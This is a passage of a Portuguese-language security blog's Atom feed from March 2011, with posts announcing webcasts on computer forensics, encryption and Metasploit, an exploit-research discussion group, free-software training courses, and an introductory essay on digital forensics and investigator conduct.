seu respeito).&lt;/p&gt;                   &lt;p&gt;&lt;strong&gt;Obs 3: &lt;/strong&gt;&lt;strong&gt;Esteja ciente do termo de responsabilidade, e todos os passos necessários ao instalar e/ou remover um sistema operacional do seu computador. &lt;/strong&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-8234371011283905334?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/8234371011283905334/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/03/flisol-rj-09042011.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8234371011283905334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8234371011283905334'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/03/flisol-rj-09042011.html' title='FLISOL RJ - 09/04/2011'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-2234487200928129822</id><published>2011-03-21T12:15:00.001-03:00</published><updated>2011-03-24T16:04:45.437-03:00</updated><title type='text'>Webcast Tutorial: Forense Computacional com Software Livre</title><content type='html'>&lt;p&gt;  No dia 24/03/11 acontecerá o Webcast Tutorial: Forense Computacional com Software Livre, com Luiz Vieira.&lt;/p&gt; &lt;p&gt;  Dentro de 4 a 5 anos é esperado que a maioria das questões judiciais  envolvam a forense computacional, pois evidências digitais estarão  direta ou indiretamente ligadas aos casos, como hoje estão na vida de  todos nós. Porém, como em todas as novas técnicas e descobertas, o  mercado está escasso de profissionais nesta área e carente de  profissionais certificados em forense digital.&lt;/p&gt; &lt;p&gt;  É maior o número de casos judiciais e investigações administrativas  onde filmagens, fotos, ligações, e-mails e outras formas digitais são  levantadas para melhor esclarecer a questão apresentada a ser  investigada.&lt;/p&gt; &lt;p&gt;  &lt;strong&gt;Tópicos que serão abordados nesta edição:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;   O que é Forense Computacional?&lt;/li&gt;&lt;li&gt;   Principais desafios da Forense Computacional&lt;/li&gt;&lt;li&gt;   Passos de uma Investigação&lt;/li&gt;&lt;li&gt;   Análise Viva e Post Mortem&lt;/li&gt;&lt;li&gt;   Distribuições Linux para Forense&lt;/li&gt;&lt;li&gt;   Ferramentas Livres e Toolkits para Forense&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;strong&gt;Perguntas que serão respondidas:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;   Quantas áreas de atuação de forense digital existem?&lt;/li&gt;&lt;li&gt;   Qualquer ferramenta pode ser utilizada durante um processo de investigação?&lt;/li&gt;&lt;li&gt;   Quais os passos que um profissional deve seguir durante uma investigação?&lt;/li&gt;&lt;li&gt;   A coleta de evidências segue sempre o mesmo padrão, seja da memória primária, seja secundária?&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;strong&gt;Sobre o palestrante:&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;  Luiz Vieira tem 15 anos de atuação na área de TI, tendo, ao longo de  sua trajetória profissional, tornado-se Especialista em Segurança da  Informação e Auditoria de sistemas. Capacitado e com experiência em  auditoria, teste de invasão em sistemas, redes e aplicações WEB.  Desenvolve projetos de redes com topologias seguras, proteção de  perímetro, hardening, implementação de sistemas de monitoramento e  detecção de invasão.&lt;/p&gt; &lt;p&gt;  Resenhista de vários livros sobre Segurança da Informação para editoras  especializadas (Brasport, Ciência Moderna), articulista dos sites  Imasters, VivaOLinux, SegurançaLinux e Revista Espírito Livre.&lt;/p&gt; &lt;p&gt;  Foi palestrante durante a 11ª edição do Fisl (Fórum Internacional do  Software livre) e apresentador do tutorial "Analysis of Vulnerabilities  in Web Applications", durante a edição da LinuxCon Brasil2010.&lt;/p&gt; &lt;p&gt;   &lt;/p&gt; &lt;p&gt;  Todos os Webcasts serão disponibilizados posteriormente no formato &lt;a href="http://www.4linux.com.br/podcast-download"&gt;Podcast Download.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;   &lt;/p&gt; &lt;p&gt;  &lt;a href="http://www.4linux.com.br/inscricoes/webcast-tutorial-forense-computacional-software-livre-inscricao.html"&gt;&lt;span style="font-size:20px;"&gt;Faça sua inscrição gratuita!&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;  Todos que fizeram inscrição receberão instruções de acesso com antecedência.&lt;/p&gt; &lt;p&gt;  &lt;br /&gt; &lt;span style="font-size:16px;"&gt;Cursos relacionados:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;  &lt;a href="http://www.4linux.com.br/cursos/cursos-seguranca.html#curso-415"&gt;Segurança em Servidores Linux usando a ISO27002&lt;/a&gt;&lt;br /&gt; &lt;a href="http://www.4linux.com.br/cursos/cursos-seguranca.html#curso-406"&gt;Pen test: Teste de Invasão em Redes Corporativas&lt;/a&gt;&lt;br /&gt; &lt;a href="http://www.4linux.com.br/cursos/cursos-seguranca.html#curso-427"&gt;Investigação Forense Digital&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-2234487200928129822?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/2234487200928129822/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/03/webcast-tutorial-forense-computacional.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/2234487200928129822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/2234487200928129822'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/03/webcast-tutorial-forense-computacional.html' title='Webcast Tutorial: Forense Computacional com Software Livre'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-8865073322273781385</id><published>2011-03-21T12:14:00.000-03:00</published><updated>2011-03-21T12:15:20.797-03:00</updated><title type='text'>Webcast Tutorial: Criptografia on-the-fly: segurança em tempo real</title><content type='html'>&lt;p&gt;  No dia 22/03/11 acontecerá o Webcast Tutorial: Criptografia on-the-fly: segurança em tempo real, com Luiz Vieira.&lt;br /&gt; &lt;br /&gt; Com o grau de importância dado à informação atualmente, a criptografia e  as ferramentas que permitem aplicar esse conceito aos ativos de uma  empresa, cumprem muito bem o papel de proteger essas informações. Por  conta disso, apresentaremos uma série de soluções baseadas em software  livre que possibilitam termos um alto nível de proteção, sem perda de  desempenho e sem comprometer a segurança.&lt;/p&gt; &lt;p&gt;  &lt;strong&gt;Tópicos que serão abordados nesta edição:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;   O que é criptografia?&lt;/li&gt;&lt;li&gt;   Técnicas que se utilizam de criptografia&lt;/li&gt;&lt;li&gt;   Prós e Contras&lt;/li&gt;&lt;li&gt;   Ferramentas livres para criptografia&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;strong&gt;Perguntas que serão respondidas:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;   O que pode acontecer se eu perder minha senha?&lt;/li&gt;&lt;li&gt;   Posso criptografia apenas arquivos ou posso fazer isso com sistemas inteiros?&lt;/li&gt;&lt;li&gt;   Há perda de performance com a criptografia?&lt;/li&gt;&lt;li&gt;   O que as ferramentas livres tem de melhor que as soluções pagas?&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;   &lt;/p&gt; &lt;p&gt;  &lt;strong&gt;Sobre o palestrante:&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;  Luiz Vieira tem 15 anos de atuação na área de TI, tendo, ao longo de  sua trajetória profissional, tornado-se Especialista em Segurança da  Informação e Auditoria de sistemas. Capacitado e com experiência em  auditoria, teste de invasão em sistemas, redes e aplicações WEB.  Desenvolve projetos de redes com topologias seguras, proteção de  perímetro, hardening, implementação de sistemas de monitoramento e  detecção de invasão.&lt;/p&gt; &lt;p&gt;  Resenhista de vários livros sobre Segurança da Informação para editoras  especializadas (Brasport, Ciência Moderna), articulista dos sites  Imasters, VivaOLinux, SegurançaLinux e Revista Espírito Livre.&lt;/p&gt; &lt;p&gt;  Foi palestrante durante a 11ª edição do Fisl (Fórum Internacional do  Software livre) e apresentador do tutorial "Analysis of Vulnerabilities  in Web Applications", durante a edição da LinuxCon Brasil2010.&lt;/p&gt; &lt;p&gt;   &lt;/p&gt; &lt;p&gt;  Todos os Webcasts serão disponibilizados posteriormente no formato &lt;a href="http://www.4linux.com.br/podcast-download"&gt;Podcast Download.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;   &lt;/p&gt; &lt;p&gt;  &lt;a href="http://www.4linux.com.br/inscricoes/webcast-tutorial-criptografia-on-the-fly-seguranca-tempo-real-inscricao.html"&gt;&lt;span style="font-size: 20px;"&gt;Faça sua inscrição gratuita!&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;  Todos que fizeram inscrição receberão instruções de acesso com antecedência.&lt;/p&gt; &lt;p&gt;  &lt;br /&gt; &lt;span style="font-size: 16px;"&gt;Cursos relacionados:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;  &lt;a href="http://www.4linux.com.br/cursos/cursos-seguranca.html#curso-415"&gt;Segurança em Servidores Linux usando a ISO27002&lt;/a&gt;&lt;br /&gt; &lt;a href="http://www.4linux.com.br/cursos/cursos-seguranca.html#curso-406"&gt;Pen test: Teste de Invasão em Redes Corporativas&lt;/a&gt;&lt;br /&gt; &lt;a href="http://www.4linux.com.br/cursos/cursos-seguranca.html#curso-427"&gt;Investigação Forense Digital&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-8865073322273781385?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/8865073322273781385/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/03/webcast-tutorial-criptografia-on-fly.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8865073322273781385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8865073322273781385'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/03/webcast-tutorial-criptografia-on-fly.html' title='Webcast Tutorial: Criptografia on-the-fly: segurança em tempo real'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-4408454692965652256</id><published>2011-03-16T14:03:00.002-03:00</published><updated>2011-03-16T14:05:23.255-03:00</updated><title type='text'>Webcast Tutorial: Metasploit Framework: Software Livre para PoC de Vulnerabilidades</title><content type='html'>&lt;p&gt;  No dia 17/03 às 20h acontecerá o Webcast Tutorial: Metasploit  Framework: Software Livre para PoC de Vulnerabilidades, com Luiz Vieira.&lt;/p&gt; &lt;p&gt;  O framework de segurança Metasploit, é uma ferramenta muito utilizada  para provas de conceito e teste de invasão, pois reúne muitos exploits e  módulos auxiliares sempre em constante atualização, que permitem ao  profissional de segurança testar os sistemas que serão alvo de uma  auditoria ou avaliação de segurança.&lt;/p&gt; &lt;p&gt;  &lt;strong&gt;Tópicos que serão abordados nesta edição:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;   Estrutura do Metasploit Framework e seus componentes&lt;/li&gt;&lt;li&gt;   Metasploit Meterpreter&lt;/li&gt;&lt;li&gt;   Armitage&lt;/li&gt;&lt;li&gt;   Prova de Conceito com Metasploit&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;strong&gt;Perguntas que serão respondidas:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;   O que é o Metasploit?&lt;/li&gt;&lt;li&gt;   Como utilizar o Metaspoit para prova de conceito?&lt;/li&gt;&lt;li&gt;   Como desenvolver exploits para o Metasploit?&lt;/li&gt;&lt;li&gt;   Quais as principais características do Meterpreter?&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;strong&gt;Sobre o palestrante:&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;  Luiz Vieira tem 15 anos de atuação na área de TI, tendo, ao longo de  sua trajetória profissional, tornado-se Especialista em Segurança da  Informação e Auditoria de sistemas. Capacitado e com experiência em  auditoria, teste de invasão em sistemas, redes e aplicações WEB.  Desenvolve projetos de redes com topologias seguras, proteção de  perímetro, hardening, implementação de sistemas de monitoramento e  detecção de invasão.&lt;/p&gt; &lt;p&gt;  Resenhista de vários livros sobre Segurança da Informação para editoras  especializadas (Brasport, Ciência Moderna), articulista dos sites  Imasters, VivaOLinux, SegurançaLinux e Revista Espírito Livre.&lt;/p&gt; &lt;p&gt;  Foi palestrante durante a 11ª edição do Fisl (Fórum Internacional do  Software livre) e japresentou o tutorial  "Analysis of Vulnerabilities in Web Applications", na  LinuxCon Brasil2010.&lt;/p&gt; &lt;p&gt;  Todos os Webcasts serão disponibilizados posteriormente no formato &lt;a href="http://www.4linux.com.br/podcast-download"&gt;Podcast Download.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;   &lt;/p&gt; &lt;p&gt;  &lt;a href="http://www.4linux.com.br/inscricoes/webcast-tutorial-metasploit-framework-software-livre-poc-vulnerabilidades-inscricao.html"&gt;&lt;span style="font-size:20px;"&gt;Faça sua inscrição gratuita!&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;  Todos que fizeram inscrição receberão instruções de acesso com antecedência.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-4408454692965652256?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/4408454692965652256/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/03/webcast-tutorial-metasploit-framework.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/4408454692965652256'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/4408454692965652256'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/03/webcast-tutorial-metasploit-framework.html' title='Webcast Tutorial: Metasploit Framework: Software Livre para PoC de Vulnerabilidades'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-8041771052254659106</id><published>2011-03-12T16:01:00.002-03:00</published><updated>2011-03-12T16:05:19.079-03:00</updated><title type='text'>Grupo sobre Exploits e Vulnerabilidades</title><content type='html'>Eu e o Ronaldo Lima (&lt;a href="http://www.crimesciberneticos.com/"&gt;http://www.crimesciberneticos.com/&lt;/a&gt;)  estamos iniciando um grupo de discussão sobre desenvolvimento de  exploits e pesquisa de vulnerabilidades, em língua portuguesa.&lt;br /&gt;&lt;br /&gt;O grupo &lt;a href="https://groups.google.com/group/exploits-brasil"&gt;&lt;b&gt;Exploits-Brasil&lt;/b&gt;&lt;/a&gt; é destinado a todos que se interessam pelo assunto, independentemente do nível de conhecimento de cada um.&lt;br /&gt;&lt;br /&gt;Para se inscrever no grupo acesse esse endereço:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://groups.google.com/group/exploits-brasil" rel="nofollow" target="_blank"&gt;https://groups.google.com/group/exploits-brasil&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Venha participar do grupo e ajude a divulgá-lo!&lt;a href="https://groups.google.com/group/exploits-brasil" rel="nofollow" target="_blank"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-8041771052254659106?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/8041771052254659106/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/03/grupo-sobre-exploits-e-vulnerabilidades.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8041771052254659106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8041771052254659106'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/03/grupo-sobre-exploits-e-vulnerabilidades.html' title='Grupo sobre Exploits e Vulnerabilidades'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-1574141362134912262</id><published>2011-03-06T18:12:00.002-03:00</published><updated>2011-03-06T18:24:41.980-03:00</updated><title type='text'>Forense Computacional - Conceitos Iniciais - Parte 3 - Final</title><content type='html'>&lt;p&gt;&lt;em&gt;“A forense computacional é o equivalente ao levantamento na cena de um crime ou a autópsia da vítima ”.&lt;/em&gt; - James Borek&lt;/p&gt;Atualmente,  a maioria dos documentos existentes possuem seu equivalente no formato digital, e daqui há algum tempo, os documentos digitais dominarão qualquer tipo de negociação, autenticação, permissão ou qualquer outra ação legal.&lt;br /&gt;&lt;p&gt;  Sem contar, que muito do que manipulamos de informação atulamente, está em formato virtual, sem equivalência do mundo físico. Por conta disso, em 4 ou 5 anos, todos os casos judiciais envolverão a análise forense computacional.&lt;/p&gt;A forense computacional também pode atuar nas seguintes situações:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;    Buscar e identificar dados em um computador;&lt;/li&gt;  &lt;li&gt;    Recuperação de arquivos deletados, encriptados ou corrompidos em um sistema;&lt;/li&gt;  &lt;li&gt;    Fundamentar demissões de funcionários que desreiptam normas organizacionais;&lt;/li&gt;  &lt;li&gt;    Auxiliar na quebra de contratos que não são respeitados;&lt;/li&gt;  &lt;li&gt;    Provar fatos;&lt;/li&gt;  &lt;li&gt;    Fazer cumprir as leis de privacidade.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;E como as evidências digitais são delicadas por natureza, é necessário um profissional qualificado e que tenha conhecimento suficiente para realizar a análise forense deum sistema comprometido, ou que possua evidências necessárias ara a comprovação de determinados fato.&lt;br /&gt;&lt;p&gt;  E o principal objetivo do investigador forense computacional é determinar a natureza e os eventos relacionados a um crime ou ato malicioso, e localizar quem o perpetrou, seguindo um procedimento de investigação estruturado. Esse procedimento de investigação estruturado esta baseado em metodologias que defininem os passos básicos para o rumo de uma análise, permitindo que o profissional, inclusive, possa organizar seu kit personalizado de ferramentas para facilitar todo o processo.&lt;/p&gt;&lt;strong&gt;&lt;br /&gt;Crime Cibernético&lt;/strong&gt;&lt;br /&gt;&lt;p&gt;  Um crime cibernético é definido como qualquer ato ilegal envolvendo um computador, seu sistema ou suas aplicações. E para ser tipificado como crime, o ato deve ser intencional, e não acidental.&lt;/p&gt;E um crime cibernético possui três diferentes aspectos a serem analisados:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;  Ferramentas do crime&lt;/li&gt;  &lt;li&gt;    Alvo do crime&lt;/li&gt;  &lt;li&gt;    Tangente do crime&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;E o mesmo deve ser de duas categorias diferentes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;  Ataque interno&lt;/li&gt;  &lt;li&gt;    Ataque externo&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h3&gt;&lt;strong&gt;Exemplos de crimes cibernéticos&lt;/strong&gt;&lt;/h3&gt;Alguns exemplos de crimes cibernéticos incluem:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;  Roubo de propriedade intelectual &lt;/li&gt;  &lt;li&gt;    Avaria na rede de serviço das empresas &lt;/li&gt;  &lt;li&gt;    Fraude financeira &lt;/li&gt;  &lt;li&gt;    Invasão de crackers &lt;/li&gt;  &lt;li&gt;    Distribuição e execução de vírus ou worm&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;Essa pequena lista, obviamente, não é exaustiva, mas leva em consideração as  ocorrências de maior incidência.&lt;br /&gt;&lt;p&gt;  E a motivação dos ataques podem ser as mais variadas possíveis, como as seguintes:&lt;/p&gt;  &lt;ul&gt;&lt;li&gt; Testes, ou tentivas de aprender na prática, por script kiddies&lt;/li&gt;  &lt;li&gt;    Necessidade psicológica&lt;/li&gt;  &lt;li&gt;    Vingança ou outras razões maliciosas&lt;/li&gt;  &lt;li&gt;    Desejo de causar problemas para o alvo&lt;/li&gt;  &lt;li&gt;    Espionagem – corporativa ou governamental&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;p&gt; &lt;/p&gt;&lt;h3&gt;Papel do Investigador&lt;/h3&gt;O principal objetivo do investigador forense computacional é determinar a natureza e os eventos relacionados a um crime ou ato malicioso e localizar quem o perpetrou, seguindo um procedimento de investigação estruturado.&lt;br /&gt;&lt;p&gt;  O conhecimento necessário para realizar a investigação, atualmente está mais baseado em um conhecimento empírico do que teórico. Isso acaba sendo uma faca de dois gumes, pois para atuar como profissional, o mesmo precisa ter experiência na área; no entanto, esse mesmo profissional, apesar do conhecimento prático, muitas vezes não tem o embasamento teórico necessário para desenvolver ou seguir uma metodologia válida.&lt;/p&gt;O investigador, precisa respeitar uma metodologia confiável e válida, para que o processo não sofra qualquer tipo de invalidação por conta de algum passo ou fase mal coordenada, pois isso pode colocar toda uma investigação a perder, posto que suas evidência podem ser tornar provas sem fundamentação legal, e seu relatório não será levado em consideração caso esteja envolvido em um processo judicial.&lt;br /&gt;&lt;p&gt;  Daí a importância do investigador,  participar de eventos, treinamentos e procurar pesquisar os fundamentos e técnicas dessa área de atuação para realizar os procedimentos de investigação da maneira mais correta possível.&lt;/p&gt;É importante que o profissional mantenha uma conduta correta ao longo da investigação, para que todo o processo também não seja invalidado.&lt;br /&gt;&lt;p&gt;  Alguns dos aspectos que tem correlação com sua conduta, são os seguintes:&lt;/p&gt;  &lt;ul&gt;&lt;li&gt; A conduta profissional determina a credibilidade de uma investigação forense&lt;/li&gt;  &lt;li&gt;    O profissional deve demonstrar o mais alto nível de integridade ética e moral&lt;/li&gt;  &lt;li&gt;    Confidencialidade é uma característica essencial que todo investigador deve possuir&lt;/li&gt;  &lt;li&gt;    Discutir o caso investigado apenas com as pessoas que possuem permissão para tomar conhecimento do processo&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-1574141362134912262?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/1574141362134912262/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/03/forense-computacional-e-o-equivalente.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1574141362134912262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1574141362134912262'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/03/forense-computacional-e-o-equivalente.html' title='Forense Computacional - Conceitos Iniciais - Parte 3 - Final'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-9050383557158149636</id><published>2011-03-06T11:19:00.000-03:00</published><updated>2011-03-06T11:20:05.080-03:00</updated><title type='text'>Formações na área de Software Livre</title><content type='html'>Desde o início do ano, surgiu no mercado brasileiro projeto de treinamentos focados em Software Livre que achei interessante citar aqui.&lt;br /&gt;&lt;br /&gt;O projeto denomina-se Universidade Open Your Source, liderada por profissionais da área de software livre e que trabalham com sistemas UNIX like: Solaris, Linux, FreeBSD e etc. Mas o que mais me chamou a atenção foram as ementas dos cursos oferecidos, principalmente por cobrarem um valor bem abaixo do mercado pela qualidade do que oferecem, com o objetivo de facilitar a inclusão no mercado de profissionais que não podem investir grandes somas em sua formação, mas querem cursos com um excelente nível de qualidade.&lt;br /&gt;&lt;br /&gt;Só na área de segurança, já oferecem cursos de Segurança de Servidores e Teste de Invasão, tendo previsão de em breve oferecerem cursos de Forense Computacional, Análise de Malware e Desenvolvimento de Ferramentas de Segurança e Exploits.&lt;br /&gt;&lt;br /&gt;Para maiores informações sobre as ementas dos cursos, acessem a página &lt;a href="http://www.openyoursource.com/portal/?q=node/117"&gt;http://www.openyoursource.com/portal/?q=node/117&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Conheço os profissionais que ministram os cursos, e os responsáveis pelo projeto. Justamente por isso, indico o projeto para aqueles que querem cursos EaD de altíssima qualidade, sem precisar pagar preços extorsivos.&lt;br /&gt;&lt;br /&gt;Sucesso para todos!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-9050383557158149636?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/9050383557158149636/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/03/formacoes-na-area-de-software-livre.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/9050383557158149636'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/9050383557158149636'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/03/formacoes-na-area-de-software-livre.html' title='Formações na área de Software Livre'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-4544147853426618202</id><published>2011-03-04T16:51:00.001-03:00</published><updated>2011-03-04T16:51:34.027-03:00</updated><title type='text'>Webcast Tutorial: Teste de Invasão como Arte: Faça muito com poucas ferramentas</title><content type='html'>&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 12px; padding-left: 0px; font-weight: 400; font-size: 12px; color: rgb(69, 69, 69); line-height: 18px; font-family: 'DejaVu Sans', Arial, Helvetica, sans-serif; "&gt;No dia 10/03 acontecerá o Webcast Tutorial: Teste de Invasão como Arte: Faça muito com poucas ferramentas. Esse Webcast faz parte de uma série especial, sobre segurança, que será realizada durante todo o mês de março.&lt;/p&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 12px; padding-left: 0px; font-weight: 400; font-size: 12px; color: rgb(69, 69, 69); line-height: 